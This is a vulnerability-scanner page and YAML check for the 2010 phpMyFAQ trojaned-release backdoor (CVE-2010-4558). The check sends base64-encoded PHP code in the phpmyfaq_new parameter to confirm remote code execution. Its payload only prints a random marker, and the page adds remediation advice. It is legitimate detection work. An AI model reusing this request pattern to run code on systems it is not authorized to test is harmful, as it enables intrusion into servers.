phpMyFAQ — 1 vulnerability check
noctis ships 1 vulnerability check for phpMyFAQ, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
phpMyFAQ 2.6.11/2.6.12 trojaned release backdoor code execution
| CVE | CVE-2010-4558 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | script, set_var, http_request, match · highest QoD 97 |
| Feed | tests/vulnerabilities/phpmyfaq/CVE-2010-4558.yaml |
Tests phpMyFAQ for the backdoor planted in the 2.6.11 and 2.6.12 packages distributed between December 4 and December 15, 2010: the start page runs PHP code passed base64-encoded in the phpmyfaq_new parameter. The feed requests index.php under /phpmyfaq, the web root and /faq with a phpmyfaq_new value whose code only prints NOCTIS followed by the product of two random numbers and ends the request. The product does not appear in the request, so finding it in the reply proves that the server ran the injected PHP code. When a start page answers without it, the request is sent once more, as the backdoor may need one page load to activate. Nothing is written on the target.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/index.php?phpmyfaq_new={{proof.q}} - HTTP(S) request
GET {{dir}}/index.php?phpmyfaq_new={{proof.q}} - Parses / computes the next value with a Rhai script
- Checks
rce_markerfor^NOCTIS[0-9]{10,12}$→ finding QoD 97: phpMyFAQ trojaned release backdoor: PHP code execution
References:
- https://nvd.nist.gov/vuln/detail/CVE-2010-4558
- https://phpmyfaq.de/security/advisory-2010-12-15
- http://www.securityfocus.com/bid/45442
Feed source — tests/vulnerabilities/phpmyfaq/CVE-2010-4558.yaml
# phpMyFAQ 2.6.11 / 2.6.12 trojaned release backdoor — CVE-2010-4558
#
# The phpmyfaq.de server was compromised and the 2.6.11 and 2.6.12 zip and
# tar.gz packages distributed between 2010-12-04 and 2010-12-15 carried a
# backdoor in inc/Faq.php, method getTopTen() (vendor advisory 2010-12-15,
# BID 45442). getTopTen() runs while the start page (index.php) is built, and
# the backdoor evaluates the base64-decoded phpmyfaq_new request parameter as
# PHP code. Clean 2.6.11/2.6.12 copies and 2.6.13+ have no such code.
#
# Detection: GET <dir>/index.php?phpmyfaq_new=<base64 PHP> where the PHP code
# is exit("NOCTIS".(A*B)); with A and B random six-digit numbers. Only the PHP
# interpreter produces NOCTIS<A*B>: the product never appears in the request
# (the code travels base64-encoded), so a reflecting server is not reported.
# The code prints one string and stops the request; nothing is written on the
# target. The base64 text is percent-encoded (+ / =) so PHP's query parsing
# does not turn "+" into a space. The base64 alphabet has no quotes, so
# magic_quotes_gpc does not alter the payload.
#
# Improvements over the source NASL:
# - Benign computed marker instead of phpinfo(): a phpinfo() page served by
# something else on the host cannot raise a finding.
# - The NASL only tries the location its product detection found; the feed
# walks the usual install paths (/phpmyfaq, web root, /faq) itself.
# - The advisory says the backdoor first registers itself (a faqconfig
# entry) before it runs code. When a dir answers 200 without the marker,
# the probe is sent a second time, so a trojaned install whose start page
# had never been loaded before is still reported.
#
# Ported from OpenVAS/Greenbone NVT 2010/gb_phpmyfaq_45442.nasl
# (OID 1.3.6.1.4.1.25623.1.0.100948, GPL-2.0-only). Request path and
# parameter name copied from the NVT.
uid: 2409e0f1-4f73-4583-8396-a9458796583a
name: "phpMyFAQ 2.6.11/2.6.12 trojaned release backdoor code execution (CVE-2010-4558)"
description: |
Tests phpMyFAQ for the backdoor planted in the 2.6.11 and 2.6.12 packages
distributed between December 4 and December 15, 2010: the start page runs
PHP code passed base64-encoded in the phpmyfaq_new parameter. The feed
requests index.php under /phpmyfaq, the web root and /faq with a
phpmyfaq_new value whose code only prints NOCTIS followed by the product
of two random numbers and ends the request. The product does not appear
in the request, so finding it in the reply proves that the server ran the
injected PHP code. When a start page answers without it, the request is
sent once more, as the backdoor may need one page load to activate.
Nothing is written on the target.
cves: [CVE-2010-4558]
cvss: 7.5
severity: high
category: rce
confidence_base: 0.25
tags: [phpmyfaq, php, backdoor, trojan, code-injection, rce, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2010-4558"
- "https://phpmyfaq.de/security/advisory-2010-12-15"
- "http://www.securityfocus.com/bid/45442"
# OpenVAS/Greenbone NASL 2010/gb_phpmyfaq_45442.nasl (GPL-2.0-only)
steps:
# Random product, computed once: the marker the injected PHP prints, and
# the percent-encoded base64 of that PHP code for the query string.
- id: proof
action: script
code: |
let a = rand_int(100000, 999999);
let b = rand_int(100000, 999999);
let b64 = base64_encode("exit(\"NOCTIS\".(" + a + "*" + b + "));");
b64 = str_replace(b64, "+", "%2B");
b64 = str_replace(b64, "/", "%2F");
b64 = str_replace(b64, "=", "%3D");
#{ marker: "NOCTIS" + (a * b), q: b64 }
store_as: proof
# ── Loop group: the following steps run once per install dir, until the
# first dir whose reply carries the marker (stop: true).
- id: init-resp
action: set_var
var_name: resp
var_value: {status: 0, body: ""}
loop:
var: dir
over: ["/phpmyfaq", "", "/faq"]
- id: init-retry
action: set_var
var_name: retry
var_value: {status: 0, body: ""}
- id: exploit
action: http_request
method: GET
path: "{{dir}}/index.php?phpmyfaq_new={{proof.q}}"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: resp
# Second load of the same start page, only when the first one answered 200
# without the marker (a backdoor that registered itself on that load).
- id: exploit-again
action: http_request
condition: "type_of(resp.body) == \"string\" && resp.status == 200 && !resp.body.contains(proof.marker)"
method: GET
path: "{{dir}}/index.php?phpmyfaq_new={{proof.q}}"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: retry
# Keep only the marker (not the page) for the evidence. The marker is
# matched as a whole number: a longer digit run is not our product.
- id: marker-check
action: script
code: |
let hit = "";
for r in [resp, retry] {
if type_of(r.body) == "string" && egrep(proof.marker + "([^0-9]|$)", r.body) != "" {
hit = proof.marker;
}
}
hit
store_as: rce_marker
- id: detect
action: match
source: rce_marker
pattern: "^NOCTIS[0-9]{10,12}$"
on_match:
finding:
title: "phpMyFAQ trojaned release backdoor: PHP code execution"
confidence_delta: 0.70
qod: 97
evidence: "GET {{dir}}/index.php?phpmyfaq_new=<base64 PHP code> ran the injected code: the reply carries {{rce_marker}}, the product of two random numbers that appear nowhere in the request (CVE-2010-4558)."
remediation: "The installed phpMyFAQ comes from a trojaned 2.6.11/2.6.12 package and its server must be treated as compromised: replace the installation with phpMyFAQ 2.6.13 or later from a verified package, remove the extra faqconfig entry the backdoor adds, and review the host for further changes."
stop: true